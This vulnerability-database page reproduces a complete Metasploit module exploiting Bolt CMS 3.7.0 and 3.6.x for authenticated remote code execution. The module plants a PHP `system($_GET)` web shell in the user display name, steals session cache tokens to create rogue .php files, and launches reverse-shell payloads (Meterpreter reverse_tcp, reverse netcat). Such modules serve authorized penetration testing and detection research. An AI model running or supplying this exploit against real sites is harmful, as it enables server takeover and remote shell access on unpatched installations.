Lucene search
K

Bolt CMS 3.7.0 Authenticated Remote Code Execution Exploit

🗓️ 29 Jun 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 146 Views

Bolt CMS 3.7.0 Authenticated Remote Code Execution Exploit. Multiple vulnerabilities allow executing arbitrary commands as the Bolt user via username change and HTTP requests to create and execute PHP files

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
        'Description' => %q{
          This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
          and 3.6.* in order to execute arbitrary commands as the user running Bolt.

          This module first takes advantage of a vulnerability that allows an
          authenticated user to change the username in /bolt/profile to a PHP
          `system($_GET[""])` variable. Next, the module obtains a list of tokens
          from `/async/browse/cache/.sessions` and uses these to create files with
          the blacklisted `.php` extention via HTTP POST requests to
          `/async/folder/rename`. For each created file, the module checks the HTTP
          response for evidence that the file can be used to execute arbitrary
          commands via the created PHP $_GET variable. If the response is negative,
          the file is deleted, otherwise the payload is executed via an HTTP
          get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`

          Valid credentials for a Bolt CMS user are required. This module has been
          successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Sivanesh Ashok', # Discovery
            'r3m0t3nu11', # PoC
            'Erik Wynter' # @wyntererik - Metasploit
          ],
        'References' =>
          [
            ['EDB', '48296'],
            ['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
          ],
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' =>
          [
            [
              'Linux (x86)', {
                'Arch' => ARCH_X86,
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux (x64)', {
                'Arch' => ARCH_X64,
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux (cmd)', {
                'Arch' => ARCH_CMD,
                'Platform' => 'unix',
                'DefaultOptions' => {
                  'PAYLOAD' => 'cmd/unix/reverse_netcat'
                }
              }
            ]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
        'DefaultOptions' => {
          'RPORT' => 8000,
          'WfsDelay' => 5
        },
        'DefaultTarget' => 2,
        'Notes' => {
          'NOCVE' => '0day',
          'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
      OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
    ]
  end

  def check
    # obtain token and cookie required for login
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 200 && res.body.include?('Sign in to Bolt')
      return CheckCode::Safe('Target is not a Bolt CMS application.')
    end

    html = res.get_html_document
    token = html.at('input[@id="user_login__token"]')['value']
    cookie = res.get_cookies

    # perform login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
      'cookie' => cookie,
      'vars_post' => {
        'user_login[username]' => datastore['USERNAME'],
        'user_login[password]' => datastore['PASSWORD'],
        'user_login[login]' => '',
        'user_login[_token]' => token
      }
    })

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 302 && res.body.include?('Redirecting to /bolt')
      return CheckCode::Unknown('Failed to authenticate to the server.')
    end

    @cookie = res.get_cookies
    return unless @cookie

    # visit profile page to obtain user_profile token and user email
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie
    })

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 200 && res.body.include?('<title>Profile')
      return CheckCode::Unknown('Failed to authenticate to the server.')
    end

    html = res.get_html_document

    @email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
    unless @email # create fake email if this value is not found
      @email = Rex::Text.rand_text_alpha_lower(5..8)
      @email << "@#{@email}."
      @email << Rex::Text.rand_text_alpha_lower(2..3)
      print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
    end

    @profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)

    if !@profile_token || @profile_token.to_s.empty?
      return CheckCode::Unknown('Authentication failure.')
    end

    # change user profile to a php $_GET variable
    @php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie,
      'vars_post' => {
        'user_profile[password][first]' => datastore['PASSWORD'],
        'user_profile[password][second]' => datastore['PASSWORD'],
        'user_profile[email]' => @email,
        'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
        'user_profile[save]' => '',
        'user_profile[_token]' => @profile_token
      }
    })

    return CheckCode::Unknown('Connection failed') unless res

    # visit profile page again to verify the changes
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie
    })

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}&#039")
      return CheckCode::Unknown('Authentication failure.')
    end

    CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    csrf
    unless @csrf_token && !@csrf_token.empty?
      fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
    end
    vprint_status("Found CSRF token: #{@csrf_token}")

    file_tokens = obtain_cache_tokens
    unless file_tokens && !file_tokens.empty?
      fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
    end
    print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")

    token_results = try_tokens(file_tokens)
    unless token_results && !token_results.empty?
      fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
    end

    valid_token = token_results[0]
    @rogue_file = token_results[1]

    print_good("Used token #{valid_token} to create #{@rogue_file}.")
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager
    end
  end

  def csrf
    # visit /bolt/overview/showcases to get csrf token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
      'cookie' => @cookie
    })

    fail_with Failure::Unreachable, 'Connection failed' unless res

    unless res.code == 200 && res.body.include?('Showcases')
      fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
    end

    html = res.get_html_document
    @csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
  end

  def obtain_cache_tokens
    # obtain tokens for creating rogue .php files from cache
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
      'cookie' => @cookie
    })

    fail_with Failure::Unreachable, 'Connection failed' unless res

    unless res.code == 200 && res.body.include?('entry disabled')
      fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
    end

    html = res.get_html_document
    entries = html.search('tr')
    tokens = []
    entries.each do |e|
      token = e.at('span[@class="entry disabled"]').text.strip
      size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
      tokens.append(token) if size.to_i >= 2000
    end

    tokens
  end

  def try_tokens(file_tokens)
    # create .php files and check if any of them can be used for RCE via the username $_GET variable
    file_tokens.each do |token|
      file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
      file_name = Rex::Text.rand_text_alpha_lower(8..12)
      file_name << '.php'

      # use token to create rogue .php file by 'renaming' a file from cache
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
        'cookie' => @cookie,
        'vars_post' => {
          'namespace' => 'root',
          'parent' => '/app/cache/.sessions',
          'oldname' => token,
          'newname' => "#{file_path}/#{file_name}",
          'token' => @csrf_token
        }
      })

      fail_with Failure::Unreachable, 'Connection failed' unless res

      next unless res.code == 200 && res.body.include?(file_name)

      # check if .php file contains an empty `displayname` value. If so, cmd execution should work.
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'files', file_name),
        'cookie' => @cookie
      })

      fail_with Failure::Unreachable, 'Connection failed' unless res

      # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
      unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
        delete_file(file_name)
        next
      end

      return token, file_name
    end

    nil
  end

  def execute_command(cmd, _opts = {})
    if target.arch.first == ARCH_CMD
      print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
      'cookie' => @cookie,
      'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
    }, 3.5)

    # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
    unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
      print_warning('No response, may have executed a blocking payload!')
      return
    end

    print_good('Payload executed!')
  end

  def cleanup
    super

    # delete rogue .php file used for execution (if present)
    delete_file(@rogue_file) if @rogue_file

    return unless @profile_token

    # change user profile back to original
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie,
      'vars_post' => {
        'user_profile[password][first]' => datastore['PASSWORD'],
        'user_profile[password][second]' => datastore['PASSWORD'],
        'user_profile[email]' => @email,
        'user_profile[displayname]' => datastore['USERNAME'].to_s,
        'user_profile[save]' => '',
        'user_profile[_token]' => @profile_token
      }
    })

    unless res
      print_warning('Failed to revert user profile back to original state.')
      return
    end

    # visit profile page again to verify the changes
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie
    })

    unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
      print_warning('Failed to revert user profile back to original state.')
    end

    print_good('Reverted user profile back to original state.')
  end

  def delete_file(file_name)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
      'cookie' => @cookie,
      'vars_post' => {
        'namespace' => 'files',
        'filename' => file_name,
        'token' => @csrf_token
      }
    })

    unless res && res.code == 200 && res.body.include?(file_name)
      print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
    end

    print_good("Deleted file #{file_name}.")
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation